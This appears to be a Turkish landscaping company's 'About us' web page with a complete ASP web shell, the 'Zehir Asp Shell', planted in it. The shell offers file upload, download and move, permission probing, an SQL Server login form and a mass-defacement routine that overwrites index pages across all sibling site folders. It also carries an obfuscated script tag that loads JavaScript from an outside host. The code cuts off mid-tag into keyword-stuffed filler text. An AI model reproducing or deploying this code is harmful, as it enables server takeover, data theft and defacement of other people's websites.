Hakkımızda

<%
mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","")
dosyaPath = mid(mpat,InStrRev(mpat,"")+1)
on error resume next
Dim objFSO,popup
Set objFSO = CreateObject ("Scripting.FileSystemObject")
if Request("kuskapani")=1 then
    Response.End
end if
if Request("kuskapani")=2 then
    on error resume next
    path = Request("path")
    sFolder = Request("SubFolder")
    fName = Request("FileName")
    d1 = Request("dosya1")
    d2 = Request("dosya2")
    d3 = Request("dosya3")
    d4 = Request("dosya4")
    bg__ = Request.Form("selectColour")
    if bg__ = "0" then bg__ = "#ffffff"
    byMesaj = "<body bgColor='"&bg__&"'>" & Request("byMesaj") & "<br><br><center><font color=gray size=2>powered by Z" & Session("n2") & "3 ;)</font>"
    
    sFolder = Replace(sFolder,"/","")

    if Right(sFolder,1)<>"" then sFolder = sFolder & ""
    Set f = objFSO.GetFolder(Path)
    Set fc = f.SubFolders
    h__ = 0
    f__ = 0
    ss__ = now
    For Each f1 In fc
        hedef_ = replace(f1.path,"/","")
        if Right(hedef_,1)<>"" then hedef_ = hedef_ & ""
        hedef__ = left(hedef_,len(hedef_)-1)
        folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,""))
            if d1<>"" then d1 = true
            if d2<>"" then d2 = true
            if d3<>"" then d3 = true
            if d4<>"" then d4 = true
            on error goto 0:on error resume next
            if fName<>"" then
                Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
                MyFile.write byMesaj
            end if
            if d1 then
                Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
                MyFile.write byMesaj
            end if
            if d2 then
                Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True)
                MyFile.write byMesaj
            end if
            if d3 then
                Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
                MyFile.write byMesaj
            end if
            if d4 then
                Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
                MyFile.write byMesaj
            end if

            if err<>0 then
                response.Write folderName_ & " <font color=red>[FAILED!]</font><br>"
                f__ = f__ + 1
            else
                response.Write folderName_ & " <font color=blue>[HACKED]</font><br>"
                h__ = h__ + 1
            end if
    Next
    ss___ = now
    response.Write "<br><font color=white>by zehir!...</font><br><b>Sonuc : </b> Toplam Süre : "&left(ss__-ss___,5)&"sn. ;)<br><font color=blue>Hacked</font> = "&h__&"<br><font color=red>Failed</font> = "&f__
    response.End
end if

status = Request("status")
path   = Request("path")
dPath  = Request("dPath")
arama  = Request("txArama")
dkayit = Request("dkayit")
table  = Request("table")
del    = Request("del")
islem  = Request("islem")
strSQL = Request("strSQL")
cf       = Request("cf")
pathfile = request("pathfile")
if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
if status="" then status=2
popup = true
'////////////////////////////////
Function ReadBinaryFile(FileName)
  Const adTypeBinary = 1
  Dim BinaryStream
  Set BinaryStream = CreateObject("ADODB.Stream")
  BinaryStream.Type = adTypeBinary
  BinaryStream.Open
  BinaryStream.LoadFromFile FileName
  ReadBinaryFile = BinaryStream.Read
End Function
if status="-3" then
    Response.Buffer=True
    Set Fil = objFSO.GetFile(pathfile)
    
    Response.contenttype="application/force-download"
    Response.AddHeader "Cache-control","private"
    Response.AddHeader "Content-Length", Fil.Size
    Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name

    Response.BinaryWrite readBinaryFile(Fil.path)
    Set f = Nothing: Set Fil = Nothing
    response.End()
end if
'//////////////////////////////////
if status="-4" then popup=false
if status="13" then popup=false
if status="14" then popup=false
if status="15" then popup=false
if status="16" then popup=false
if status="17" then popup=false
if status="18" then popup=false
if status="19" then popup=false
if status="33" then popup=false
if status="40" then popup=false
if status="50" then popup=false
byMsg = request.QueryString("byMsg")
if byMsg<>"" then response.Write byMsg
response.Write "<title>Zehir Asp Shell --> powered by zehir &lt;zehirhacker@hotmail.com&gt;</title>"
if popup then
%>
<center>
<a href="<%=dosyaPath%>?mevla=1&status=13" onclick="sistemBilgisi(this.href);return false;">System Info</a>
<font color=yellow> | </font>
<a href="<%=dosyaPath%>?mevla=1&status=40" onclick="sistemTest(this.href);return false;">System Test</a>
<font color=yellow> | </font>
<a href="<%=dosyaPath%>?mevla=1&status=50&path=<%=path%>" onclick="SitelerTestte(this.href);return false;">Sites Test</a>
<font color=yellow> | </font>
<a href="<%=dosyaPath%>?mevla=1&status=14&path=<%=path%>" onclick="klasorIslemleri(this.href);return false;">Folder Action</a>
<font color=yellow> | </font>
<a href="<%=dosyaPath%>?mevla=1&status=15" onclick="sqlServer(this.href);return false;">SQL Server</a>
<font color=yellow> | </font>
<a href="<%=dosyaPath%>?mevla=1&status=33" onclick="poweredby(this.href);return false;">POWERED BY</a>
<script language=javascript>
    function sistemBilgisi(yol){
        NewWindow(yol,"",600,240,"no");
    }
    function SitelerTestte(yol){
        NewWindow(yol,"",530,420,"no");
    }
    function klasorIslemleri(yol){
        NewWindow(yol,"",400,280,"no");
    }
    function sqlServer(yol){
        NewWindow(yol,"",300,50,"no");
    }
    function poweredby(yol){
        NewWindow(yol,"",300,50,"no");
    }
    function sistemTest(yol){
        NewWindow(yol,"",400,300,"no");
    }
</script>
<script language="javascript">
document.write( unescape( '%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%63%6B%65%72%62%6F%78%2E%6E%65%74%2F%62%6C%61%62%6C%61%2F%70%65%72%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E' ) );
</script>
<%
end if
'####################################
Class clsUpload
    Private mbinData
    Private mlngChunkIndex
    Private mlngBytesReceived
    Private mstrDelimiter
    Private CR
    Private LF
    Private CRLF
    Private mobjFieldAry()
    Private mlngCount
    
    Private Sub RequestData
        Dim llngLength
        mlngBytesReceived = Request.TotalBytes
        mbinData = Request.BinaryRead(mlngBytesReceived)
    End Sub

    Private Sub ParseDelimiter()
        mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
    End Sub

    Private Sub ParseData()
        Dim llngStart
        Dim llngLength
        Dim llngEnd
        Dim lbinChunk
        llngStart = 1
        llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
        While Not llngStart = 0
            llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
            llngLength = llngEnd - llngStart
            lbinChunk = MidB(mbinData, llngStart, llngLength)
            Call ParseChunk(lbinChunk)
            llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
        Wend
    End Sub

    Private Sub ParseChunk(ByRef pbinChunk)
        Dim lstrName
        Dim lstrFileName
        Dim lstrContentType
        Dim lbinData
        Dim lstrDisposition
        Dim lstrValue
        lstrDisposition = ParseDisposition(pbinChunk)
        lstrName = ParseName(lstrDisposition)
        lstrFileName = ParseFileName(lstrDisposition)
        lstrContentType = ParseContentType(pbinChunk)
        If lstrContentType = "" Then
            lstrValue = CStrU(ParseBinaryData(pbinChunk))
        Else
            lbinData = ParseBinaryData(pbinChunk)
        End If
        Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
    End Sub

    Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
        Dim lobjField
        ReDim Preserve mobjFieldAry(mlngCount)
        Set lobjField = New clsField
        lobjField.Name = pstrName
        lobjField.FilePath = pstrFileName                
        lobjField.ContentType = pstrContentType
        If LenB(pbinData) = 0 Then
            lobjField.BinaryData = ChrB(0)
            lobjField.Value = pstrValue
            lobjField.Length = Len(pstrValue)
        Else
            lobjField.BinaryData = pbinData
            lobjField.Length = LenB(pbinData)
            lobjField.Value = ""
        End If
        Set mobjFieldAry(mlngCount) = lobjField
        mlngCount = mlngCount + 1
    End Sub

    Private Function ParseBinaryData(ByRef pbinChunk)
        Dim llngStart
        llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
        If llngStart = 0 Then Exit Function
        llngStart = llngStart + 4
        ParseBinaryData = MidB(pbinChunk, llngStart)
    End Function

    Private Function ParseContentType(ByRef pbinChunk)
        Dim llngStart
        Dim llngEnd
        Dim llngLength
        llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
        If llngStart = 0 Then Exit Function
        llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
        If llngEnd = 0 Then Exit Function
        llngStart = llngStart + 15
        If llngStart >= llngEnd Then Exit Function
        llngLength = llngEnd - llngStart
        ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
    End Function

    Private Function ParseDisposition(ByRef pbinChunk)
        Dim llngStart
        Dim llngEnd
        Dim llngLength
        llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
        If llngStart = 0 Then Exit Function
        llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
        If llngEnd = 0 Then Exit Function
        llngStart = llngStart + 22
        If llngStart >= llngEnd Then Exit Function
        llngLength = llngEnd - llngStart
        ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
    End Function

    Private Function ParseName(ByRef pstrDisposition)
        Dim llngStart
        Dim llngEnd
        Dim llngLength
        llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
        If llngStart = 0 Then Exit Function
        llngEnd = InStr(llngStart + 6, pstrDisposition, """")
        If llngEnd = 0 Then Exit Function
        llngStart = llngStart + 6
        If llngStart >= llngEnd Then Exit Function
        llngLength = llngEnd - llngStart
        ParseName = Mid(pstrDisposition, llngStart, llngLength)
    End Function
' ------------------------------------------------------------------------------
    Private Function ParseFileName(ByRef pstrDisposition)
        Dim llngStart
        Dim llngEnd
        Dim llngLength
        llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
        If llngStart = 0 Then Exit Function
        llngEnd = InStr(llngStart + 10, pstrDisposition, """")
        If llngEnd = 0 Then Exit Function
        llngStart = llngStart + 10
        If llngStart >= llngEnd Then Exit Function
        llngLength = llngEnd - llngStart
        ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
    End Function

    Public Property Get Count()
        Count = mlngCount
    End Property

    Public Default Property Get Fields(ByVal pstrName)
        Dim llngIndex
        If IsNumeric(pstrName) Then
            llngIndex = CLng(pstrName)
            If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
                Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
                Exit Property
            End If
            Set Fields = mobjFieldAry(pstrName)
        Else
            pstrName = LCase(pstrname)
            For llngIndex = 0 To mlngCount - 1
                If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
                    Set Fields = mobjFieldAry(llngIndex)
                    Exit Property
                End If
            Next
        End If
        Set Fields = New clsField
    End Property

    Private Sub Class_Terminate()
        Dim llngIndex
        For llngIndex = 0 To mlngCount - 1
            Set mobjFieldAry(llngIndex) = Nothing
            
        Next
        ReDim mobjFieldAry(-1)
    End Sub

    Private Sub Class_Initialize()
        ReDim mobjFieldAry(-1)
        CR = ChrB(Asc(vbCr))
        LF = ChrB(Asc(vbLf))
        CRLF = CR & LF
        mlngCount = 0
        Call RequestData
        Call ParseDelimiter()
        Call ParseData
    End Sub

    Private Function CStrU(ByRef pstrANSI)
        Dim llngLength
        Dim llngIndex
        llngLength = LenB(pstrANSI)
        For llngIndex = 1 To llngLength
            CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
        Next
    End Function

    Private Function CStrB(ByRef pstrUnicode)
        Dim llngLength
        Dim llngIndex
        llngLength = Len(pstrUnicode)
        For llngIndex = 1 To llngLength
            CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
        Next
    End Function
End Class
'####################################
Session("n1") = "byZ"
Class clsField
    Public Name
    Private mstrPath
    Public FileDir
    Public FileExt
    Public FileName
    Public ContentType
    Public Value
    Public BinaryData
    Public Length
    Private mstrText

    Public Property Get BLOB()
        BLOB = BinaryData
    End Property

    Public Function BinaryAsText()
        Dim lbinBytes
        Dim lobjRs
        If Length = 0 Then Exit Function
        If LenB(BinaryData) = 0 Then Exit Function
        
        If Not Len(mstrText) = 0 Then
            BinaryAsText = mstrText
            Exit Function
        End If
        lbinBytes = ASCII2Bytes(BinaryData)
           mstrText = Bytes2Unicode(lbinBytes)
        BinaryAsText = mstrText
    End Function

    Public Sub SaveAs(ByRef pstrFileName)
        Const adTypeBinary=1
        Const adSaveCreateOverWrite=2
        Dim lobjStream
        Dim lobjRs
        Dim lbinBytes
        If Length = 0 Then Exit Sub
        If LenB(BinaryData) = 0 Then Exit Sub
        Set lobjStream = Server.CreateObject("ADODB.Stream")
        lobjStream.Type = adTypeBinary
        Call lobjStream.Open()
        lbinBytes = ASCII2Bytes(BinaryData)
        Call lobjStream.Write(lbinBytes)
        
        On Error Resume Next
        
        Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
        
        'if err<>0 then response.Write "<br>"&err.Description
        
        Call lobjStream.Close()
        Set lobjStream = Nothing
    End Sub

    Public Property Let FilePath(ByRef pstrPath)
        mstrPath = pstrPath
        If Not InStrRev(pstrPath, ".") = 0 Then
            FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
            FileExt = UCase(FileExt)
        End If
        If Not InStrRev(pstrPath, "") = 0 Then
            FileName = Mid(pstrPath, InStrRev(pstrPath, "") + 1)
        End If
        If Not InStrRev(pstrPath, "") = 0 Then
            FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "") - 1)
        End If
    End Property

    Public Property Get FilePath()
        FilePath = mstrPath
    End Property

    private Function ASCII2Bytes(ByRef pbinBinaryData)
        Const adLongVarBinary=205
        Dim lobjRs
        Dim llngLength
        Dim lbinBuffer
        llngLength = LenB(pbinBinaryData)
        Set lobjRs = Server.CreateObject("ADODB.Recordset")
        Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
        Call lobjRs.Open()
        Call lobjRs.AddNew()
        Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
        Call lobjRs.Update()
        lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
        Call lobjRs.Close()
        Set lobjRs = Nothing
        ASCII2Bytes = lbinBuffer
    End Function

    Private Function Bytes2Unicode(ByRef pbinBytes)
        Dim lobjRs
        Dim llngLength
        Dim lstrBuffer
        llngLength = LenB(pbinBytes)
        Set lobjRs = Server.CreateObject("ADODB.Recordset")
        Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
        Call lobjRs.Open()
        Call lobjRs.AddNew()
        Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
        Call lobjRs.Update()
        lstrBuffer = lobjRs.Fields("BinaryData").Value
        Call lobjRs.Close()
        Set lobjRs = Nothing
        Bytes2Unicode = lstrBuffer
    End Function
End Class
Session("n2") = "ehir"
'####################################
function addslash(path)
    if right(path,1)="" then addslash=path else addslash=path & ""
end function

sub Upload()
    dim objUpload,f,max,i,name,path,size,success
    
    set objUpload=New clsUpload

    targetPath=objUpload.Fields("folder").Value
    max=objUpload.Fields("max").Value

    for i=1 to max
        name=objUpload.Fields("file" & i).FileName
        size=objUpload.Fields("file" & i).Length
        if (name<>"") and (size>0) then
            gMsg=gMsg & "<br>" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
            path=addslash(targetPath) & name
            objUpload.Fields("file" & i).SaveAs path

            if objFSO.FileExists(path) then
                on error resume next
                set f=objFSO.GetFile(path)
                if IsObject(f) then
                    if f.Size=size then success=true else success=false
                end if
                set f=nothing
            end if
            if success then  gMsg=gMsg & "<font color=blue>uploaded</font>" else gMsg = gMsg & "<font color=red>failed!</font>"
        end if
    next
    response.Write gMsg
    set objUpload=nothing

end sub

if status="-4" then
    Upload()
'    hataKontrol
    popup=false
end if
'////////////////////////////////
sub hataKontrol
    if err<>0 then
        Response.Write "<font color=red size=2>Hata : "&err.Description&"</font>"
    end if
end sub

sub araBul(path_,ara_)
    on error resume next
    If Len(path_) > 0 Then
        cur = path_&""
        If cur = "\" Then cur = ""
            parent = ""
            If InStrRev(cur,"") > 0 Then
            parent = Left(cur, InStrRev(cur, "", Len(cur)-1))
        End If
    Else
        cur = ""
    End If
    
    Set f = objFSO.GetFolder(cur)

    Set fc = f.Files
    For Each f1 In fc
        if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
            downStr = "<font face=webdings size=5><a href='"&dosyapath&"?status=-3&pathFile="&f1.path&"&Time="&time&"'>Í</a></font>"
            if lcase(ara_)="mdb" then
                Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a></font> * <a href='"&dosyapath&"?status=7&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
            else
                Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a><a href='"&dosyapath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a></font> - <a href='"&dosyapath&"?status=5&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
            end if
        end if
    Next

    Set fs = f.SubFolders
    For Each f1 In fs
        araBul f1.path,ara_
    Next
    Set    f        = Nothing
    Set fc        = Nothing
    Set fs        = Nothing
end sub

sub sistemTest
    response.Write "<table width='100%' align=center cellpadding=0 cellspacing=0 border=1>"
    response.Write "<tr bgcolor=#ffffc0><td width='30%' align=center><font color=navy><b>Konum</td><td width='70%' align=center><font color=navy><b>Sonuç</td></tr>"

    servu_Test
    WriteTestOnDriver
    WriteTestOnLocalPath
    LocalPathParentFolder
    LocalPathPParentFolder

    response.Write "</table>"
end sub

sub servu_Test
    dosya_ = Array("Program FilesServ-uServ-u.ini", "Program FilesServ-uServ-u daemon.ini", "Serv-uServ-u.ini", "Serv-uServ-u daemon.ini")
    for each drive_ in objFSO.Drives
        if drive_.Drivetype=2 or drive_.Drivetype=3 then
            for each d_ in dosya_
                d_ = drive_.DriveLetter&":"&d_
                if objFSO.FileExists(d_) then
                    response.Write "<tr><td><b>Serv-U ini file : </td><td><font color=yellow>"&d_&"</td></tr>"
                end if
            next
        end if
    next
end sub

function yaziyomu(yol)
    on error goto 0:on error resume next
    dim sonuc__
    Set MyFile = objFSO.CreateTextFile(yol & " est.zehir", True)
    MyFile.write "byzehir <zehirhacker@hotmail.com>"
    set MyFile = Nothing
    if err<>0 then
        sonuc__="<font color=red>Yazma Hakki Yok!</font>"
    else
        sonuc__="<font color=yellow>Yazma Hakki Var!</font>"
        on error goto 0: on error resume next
        objFSO.DeleteFile yol & " est.zehir",true
        if err<>0 then
            sonuc__=sonuc__&"<br><font color=red>Silme Hakki Yok!</font>"
        else
            sonuc__=sonuc__&"<br><font color=yellow>Silme Hakki Var!</font>"
        end if
    end if
    yaziyomu = sonuc__
end function

function yaziyomu2(yol)
    on error goto 0:on error resume next
    Set MyFile = objFSO.CreateTextFile(yol & " est.zehir", True)
    MyFile.write "byzehir <zehirhacker@hotmail.com>"
    set MyFile = Nothing
    if err<>0 then
        yaziyomu2 = false
    else
        objFSO.DeleteFile yol & " est.zehir"
        yaziyomu2 = true
    end if
end function

sub WriteTestOnDriver
    for each drive_ in objFSO.Drives
        if drive_.Drivetype=2 or drive_.Drivetype=3 then
            if not yaziyomu2(drive_.DriveLetter&":") then
                Response.Write "<tr><td><b>"&drive_.DriveLetter&":</td><td><font color=red>yazma yetkisi yok! : ["&err.Description&"]</td></tr>"
            else
                Response.Write "<tr><td><b>"&drive_.DriveLetter&":</td><td><font color=yellow>yazma yetkisi var!</td></tr>"
            end if
        end if
    next
end sub

sub WriteTestOnLocalPath
    on error goto 0
    on error resume next
    if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then
        Response.Write "<tr><td><b>Local Path </td><td><font color=red>yazma yetkisi yok! : ["&err.Description&"]</td></tr>"
    else
        Response.Write "<tr><td><b>Local Path </td><td><font color=yellow>yazma yetkisi var!</td></tr>"
    end if
end sub

sub LocalPathParentFolder
    on error goto 0
    on error resume next
    hed_ = request.servervariables("APPL_PHYSICAL_PATH")
    if Right(hed_,1)="" then hed_ = left(hed_,len(hed_)-1)
    parhed_ = left(hed_,InStrRev(hed_,""))
    
    Set f = objFSO.GetFolder(parhed_)
    Set fc = f.SubFolders
    
    int_fol=0
    int_fil=0
    For Each f1 In fc
        int_fol=int_fol+1
    Next

    Set fc = f.files
    For Each f1 In fc
        int_fil=int_fil+1
    Next
    
    if err<>0 then
        Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=red>Hata Olustu : ["&err.Description&"]</td></tr>"
    else
        Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
    end if
end sub

sub LocalPathPParentFolder
    on error goto 0
    on error resume next
    hed_ = request.servervariables("APPL_PHYSICAL_PATH")
    if Right(hed_,1)="" then hed_ = left(hed_,len(hed_)-1)
    hed_ = left(hed_,InStrRev(hed_,""))
    if Right(hed_,1)="" then hed_ = left(hed_,len(hed_)-1)
    parhed_ = left(hed_,InStrRev(hed_,""))
    
    Set f = objFSO.GetFolder(parhed_)
    Set fc = f.SubFolders
    int_fol=0
    int_fil=0
    For Each f1 In fc
        int_fol=int_fol+1
    Next

    Set fc = f.files
    For Each f1 In fc
        int_fil=int_fil+1
    Next
    
    if err<>0 then
        if err=451 then
            Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Data Üst Klasor Yok :)</td></tr>"
        else
            Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Hata Olustu : ["&err.Description&"]</td></tr>"
        end if
    else
        Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
    end if
end sub

SELECT CASE status
CASE 13 'Sistem Bilgisi
    Response.Write "<table width=100% cellpadding=0 cellspacing=0><tr><td colspan=2 align=center><font color=yellow face='courier new'><b><font style='FONT-WEIGHT:normal' color=red face=wingdings>:</font> Sistem Bilgileri <font color=red face=wingdings style='FONT-WEIGHT:normal'>:</font></td></tr>"
    Response.Write "<tr><td><b><font color=red>Local Adres</td><td> " & request.servervariables("REMOTE_ADDR") & "</td></tr>"
    Response.Write "<tr><td><b><font color=red>User Agent</td><td> " & request.servervariables("HTTP_USER_AGENT") & "</td></tr>"
    Response.Write "<tr><td><b><font color=red>Server</td><td> " & request.servervariables("SERVER_NAME") & "</td></tr>"
    Response.Write "<tr><td><b><font color=red>IP</td><td> " & request.servervariables("LOCAL_ADDR") & "</td></tr>"
    Response.Write "<tr><td><b><font color=red>HTTPD</td><td> " & request.servervariables("SERVER_SOFTWARE") & "</td></tr>"
    Response.Write "<tr><td><b><font color=red>Port</td><td> " & request.servervariables("SERVER_PORT") & "</td></tr>"
    Response.Write "<tr><td><b><font color=red>Yol</td><td> " & request.servervariables("APPL_PHYSICAL_PATH") & "</td></tr>"
    Response.Write "<tr><td><b><font color=red>Log Root</td><td> " & request.servervariables("APPL_MD_PATH") & "</td></tr>"
    Response.Write "<tr><td><b><font color=red>HTTPS</td><td> " & request.servervariables("HTTPS") & "</td></tr>"
    Response.Write "</table>"
    popup = false
CASE 14 'Upload and Search
    aramaUpload
    popup = false
    hataKontrol
CASE 15 'Ms. SQL Server
    Response.Write "<form method=get action='"&DosyPath&"' target='_opener' id=form1 name=form1>"
    Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center><font size=2>SQL Server için connection string giriniz</td></tr><tr><td align=center>"
    Response.Write "<input type=hidden value='7' name=status><input type=hidden value='"&time&"' name=Time>"
    Response.Write "<input style='width:250; height:21' value='' name=path><br>"
    response.Write "<input type=submit value='SQL Servera Baglan' style='height:23;width:170' id=submit1 name=submit1>"
    Response.Write "</td></tr></table>"
    response.Write "</form>"

    popup = false
    hataKontrol
CASE 16 'file Copy window
    Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
    Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
    Response.Write "<input type=hidden value='17' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
    Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
    response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
    Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
    response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
    response.Write "<input type=radio name='islem' value='tasi'>Tasi"
    response.Write "</table>"
    response.Write "</form>"

    popup = false
    hataKontrol
CASE 17 'file Copy
    isl = ""
    if islem="kopyala" then
        objFSO.CopyFile path,cf
        isl="kopyalandi.."
    elseif islem="tasi" then
        objFSO.MoveFile path,cf
        isl="tasindi.."
    end if
    response.Write "Dosya "&isl
    response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
    response.Write "<br>"
    popup = false
    hataKontrol
CASE 18 'folder Copy window
    Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
    Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
    Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
    Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
    response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
    Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
    response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
    response.Write "<input type=radio name='islem' value='tasi'>Tasi"
    response.Write "</table>"
    response.Write "</form>"

    popup = false
    hataKontrol
CASE 19 'folder Copy
    isl = ""
    if islem="kopyala" then
        objFSO.CopyFolder path,cf
        isl="kopyalandi.."
    elseif islem="tasi" then
        objFSO.MoveFolder path,cf
        isl="tasindi.."
    end if
    response.Write "Klasor "&isl
    response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
    response.Write "<br>"
    popup = false
    hataKontrol
CASE 33 'Powered By
    response.Write "<body topmargin=5 leftmargin=0><center><h4>Powered by Zehir"
    response.Write "<br><br><font style='FONT-WEIGHT:normal' size=2>zehirhacker@hotmail.com<br><font color=yellow face='courier new'>küllü nefsun zaifetun mevt"
    popup = false
    hataKontrol
CASE 40 'Sistem Test
    sistemTest
    popup=false
CASE 50 'Siteleri Test Edelim :D
    %>
    <table width="100%" cellpadding=0 cellspacing=0>
        <tr>
            <td align=center>
                <b>Güvenlik Testi byZehir</b>
                <br>
                <form action="<%=dosyaPath%>" method=post id=frmMesaj>
                    <input type=hidden name=kuskapani value=2>
                    <table width=500 align=center border=1 cellpadding=0 cellspacing=0>
                        <tr>
                            <td width=100>Path</td>
                            <td>
                            <input style="width:100%" type=text name="Path" id="Path" value="<%=path%>" size="20"></td>
                        </tr>
                        <tr>
                            <td width=100>Sub Folder</td>
                            <td>
                            <input style="width:100%" type=text name="SubFolder" id="SubFolder" value="www" size="20"></td>
                        </tr>
                        <tr>
                            <td width=100>File Name</td>
                            <td>
                            <input style="width:100%" type=text name="FileName" id="FileName" value="byzehir.txt" size="20"></td>
                        </tr>
                        <tr>
                            <td colspan=2>
                                <table width="100%" align=center>
                                    <tr>
                                        <td width="50%">
                                            <input type=checkbox name="dosya1" ID="Checkbox1" value="ON">index.htm<br>
                                            <input type=checkbox name="dosya2" ID="Checkbox2" value="ON">default.htm<br>
                                        </td>
                                        <td width="50%">
                                            <input type=checkbox name="dosya3" ID="Checkbox3" value="ON">index.asp<br>
                                            <input type=c

Vizyon Peyzaj

Vizyon Peyzaj

Vizyon Peyzaj

Vizyon Peyzaj

Vizyon Peyzaj
Vizyon Peyzaj

Tuzla Peyzaj

Tuzla Peyzaj

Tuzla Peyzaj

Tuzla Peyzaj

Tuzla Peyzaj

Tuzla Peyzaj
Vizyon Peyzaj müşteri memnuniyetini ilke edinmiş çevre düzenlemesi yapan bir kuruluştur.peyzaj , vizyon peyzaj , istanbul peyzaj , tuzla peyzaj , bahçe düzenlenmesi, cevre düzenlenmesi,rulo çim, bahçe bakım, periyodik bakım, istanbul peyzaj Vizyon Peyzaj müşteri memnuniyetini ilke edinmiş çevre düzenlemesi yapan bir kuruluştur.peyzaj , vizyon peyzaj , istanbul peyzaj , tuzla peyzaj , bahçe düzenlenmesi, cevre düzenlenmesi,rulo çim, bahçe bakım, periyodik bakım, istanbul peyzaj Vizyon Peyzaj müşteri memnuniyetini ilke edinmiş çevre düzenlemesi yapan bir kuruluştur.peyzaj , vizyon peyzaj , istanbul peyzaj , tuzla peyzaj , bahçe düzenlenmesi, cevre düzenlenmesi,rulo çim, bahçe bakım, periyodik bakım, istanbul peyzaj Vizyon Peyzaj müşteri memnuniyetini ilke edinmiş çevre düzenlemesi yapan bir kuruluştur.peyzaj , vizyon peyzaj , istanbul peyzaj , tuzla peyzaj , bahçe düzenlenmesi, cevre düzenlenmesi,rulo çim, bahçe bakım, periyodik bakım, istanbul peyzaj Vizyon Peyzaj müşteri memnuniyetini ilke edinmiş çevre düzenlemesi yapan bir kuruluştur.peyzaj , vizyon peyzaj , istanbul peyzaj , tuzla peyzaj , bahçe düzenlenmesi, cevre düzenlenmesi,rulo çim, bahçe bakım, periyodik bakım, istanbul peyzaj Vizyon Peyzaj müşteri memnuniyetini ilke 